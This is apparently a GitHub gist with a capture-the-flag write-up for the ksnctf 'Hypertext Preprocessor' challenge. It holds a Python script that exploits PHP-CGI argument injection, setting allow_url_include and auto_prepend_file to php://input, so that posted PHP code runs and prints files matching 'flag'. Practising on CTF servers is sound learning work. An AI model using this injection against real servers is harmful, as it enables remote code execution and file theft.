Created
December 28, 2015 04:26
-
-
Save mimaun/1cb80904d79ee92d412b to your computer and use it in GitHub Desktop.
ksnctf Hypertext Preprocessor Writeup
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#! /usr/bin/env python | |
# -*-coding: utf-8-*- | |
import requests | |
url = "http://ctfq.sweetduet.info:10080/~q12/index.php" | |
headers = { # Set the appropriate headers for the response | |
'Host': "ctfq.sweetduet.info:10080", | |
'User-Agent': 'Mozilla', | |
'Connection': 'keep-alive' | |
} | |
param = "?-d+allow_url_include%3DOn+-d+auto_prepend_file%3Dphp://input" | |
data = """ | |
<?php | |
foreach(glob("*flag*") as $file) { | |
echo $file . "\n"; | |
echo file_get_contents($file) . "\n"; | |
} | |
?> | |
"""[1:-1] | |
req = requests.post(url+param,headers=headers,data=data) | |
print req.text |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment